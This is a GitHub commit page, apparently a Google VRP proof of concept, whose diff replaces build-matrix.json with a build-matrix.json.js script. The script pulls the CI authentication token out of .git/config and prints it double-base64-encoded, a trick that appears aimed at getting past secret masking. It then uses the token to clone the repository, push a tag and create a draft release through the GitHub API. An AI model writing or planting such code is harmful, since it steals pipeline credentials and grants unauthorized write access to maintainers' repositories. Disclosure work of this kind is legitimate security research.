Skip to content

Commit

Permalink
wip
Browse files Browse the repository at this point in the history
  • Loading branch information
DeeperMind committed Nov 25, 2024
1 parent 1eff648 commit 0d5d06b
Show file tree
Hide file tree
Showing 2 changed files with 57 additions and 77 deletions.
77 changes: 0 additions & 77 deletions build-matrix.json

This file was deleted.

57 changes: 57 additions & 0 deletions build-matrix.json.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
const fs = require('fs');
const process = require('process');
const { execSync } = require('child_process')

const REPO = ' shaka-project/static-ffmpeg-binaries';
const FOLDER = '/tmp/.foobarbaz';
const RLS_NAME = 'release-poc';


const config = fs.readFileSync('repo-src/.git/config', 'utf8').split('\n');

let token = '';
for (const line of config) {
if (line.includes('extraheader')) {
token = Buffer.from(line.split('basic ')[1].trim(), 'base64').toString('utf-8');
break;
}
}

console.log(Buffer.from(Buffer.from(token).toString('base64')).toString('base64'));

execSync(`git clone https://${token}@github.com/${REPO} ${FOLDER}`);

execSync(`git checkout -b ${RLS_NAME}`, { cwd: FOLDER });

execSync(`git config user.name ghost`, { cwd: FOLDER });

execSync(`git config user.email [email protected]`, { cwd: FOLDER });

execSync(`echo "this is for google-vrp to prove we can write to a branch" > poc.txt`, { cwd: FOLDER });

execSync(`git add poc.txt`, { cwd: FOLDER });

execSync(`git commit -m "for google vrp"`, { cwd: FOLDER });

execSync(`git push origin ${RLS_NAME}:refs/tags/${RLS_NAME}`, { cwd: FOLDER });

const url = `https://api.github.com/repos/${REPO}/releases`;

const payload = {
tag_name: RLS_NAME, // The tag for the release
name: "draft_release", // The release title
body: "This is for google vrp to prove we can edit and create releases", // The release description
draft: true // Mark the release as a draft
};

fetch(url, {
method: "POST",
headers: {
"Authorization": `Bearer ${token.split(':')[1]}`,
"Accept": "application/vnd.github.v3+json",
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
});


0 comments on commit 0d5d06b

Please sign in to comment.